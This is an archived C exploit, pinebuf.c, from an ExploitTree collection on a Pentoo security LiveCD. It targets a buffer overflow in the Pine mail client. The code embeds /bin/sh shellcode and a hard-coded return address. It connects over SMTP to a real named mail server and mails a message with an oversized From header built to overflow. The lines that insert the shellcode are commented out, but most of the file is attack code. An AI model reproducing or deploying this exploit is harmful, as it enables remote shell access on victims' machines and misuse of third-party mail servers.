home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pine / pinebuf.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  114 lines

  1.                 Arkane [bTm]
  2.  
  3.  ######### ### # ##  # # ## # # ## # # # #       #  #  #   ###   ## ##  */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <errno.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netdb.h>
  10. #include <netinet/in.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13.  
  14. unsigned long get_sp (void)
  15. {
  16. __asm__ ("mov %esp, %eax");
  17. }
  18.  
  19. #define ADDRLEN 700 
  20. #define EXECLEN 1000
  21. #define NOP    0x90
  22.  
  23. char shellcode[] =
  24.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  25.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  26.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  27.  
  28. int main (int argc, char **argv)
  29. {
  30.   struct sockaddr_in server;
  31.   struct hostent *hp;
  32.   int s;
  33.   char helo[100];
  34.   char mail[100];
  35.   char rcpt[100];
  36.   char data[2500];
  37.   char start[20];
  38.  
  39.   int offset = 0;
  40.   unsigned long addr;
  41.   int i;
  42.   char *addrs,*exec;
  43.  
  44.   addrs = (char *) malloc (ADDRLEN);
  45.   exec  = (char *) malloc (EXECLEN);
  46.  
  47. if(argc < 2)
  48.     {
  49.      printf("   Usage: %s <Email Address> <offset>\n", argv[0]);
  50.      printf("                                            \n\n");
  51.      exit(0);
  52.     }
  53.  
  54.      if (argc == 3)
  55.        offset = atoi (argv[2]);
  56.  
  57.    //addr = get_sp () - offset; 
  58.  
  59.    addr = 0xbfffe7e2; //RH62
  60.  
  61.    memset(addrs,0x41,ADDRLEN);
  62.  
  63.   //  for (i = 0; i < ADDRLEN ; i += 4)
  64.     //   *(unsigned *) &addrs[i] = addr;
  65.  
  66.  //  memset(exec,0x90,EXECLEN); 
  67.  
  68.  //  memset(addrs+195,0x90,5);
  69.  
  70.  //  memcpy (addrs + 200, shellcode, strlen (shellcode));
  71.  
  72. if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
  73.       printf ("Could not resolve mail.speakeasy.org.\n");
  74.       exit(1); }
  75.  
  76. if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
  77.       printf("Error");
  78.       exit(1); }
  79.  
  80.   server.sin_family = AF_INET;
  81.   server.sin_port = htons (25);
  82.   server.sin_addr.s_addr = *(u_long *) hp->h_addr;
  83.   bzero (&(server.sin_zero), 8);
  84.  
  85. if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1) {
  86.       printf ("Connection refused\n");
  87.       exit(1); }
  88.  
  89.         sprintf (helo, "helo test\r\n");
  90.         sprintf (mail, "mail from: %s\r\n",argv[1]);
  91.  
  92.         send (s, helo, strlen (helo), 0);
  93.         send (s, mail, strlen (mail), 0);
  94.  
  95.         sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);
  96.  
  97.         send (s, rcpt, strlen (rcpt), 0);
  98.  
  99.         sprintf(start,"data\r\n");
  100.  
  101.         send (s, start, strlen (start), 0);
  102.  
  103.          fprintf(stderr," Message Sent! \n");
  104.  
  105. sprintf(data,"From: %s AAAAAAAA test@test.net\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
  106.         send (s, data, strlen (data), 0);
  107.  
  108.  
  109.  
  110.   close (s);
  111.   exit(0);
  112. }
  113.  
  114.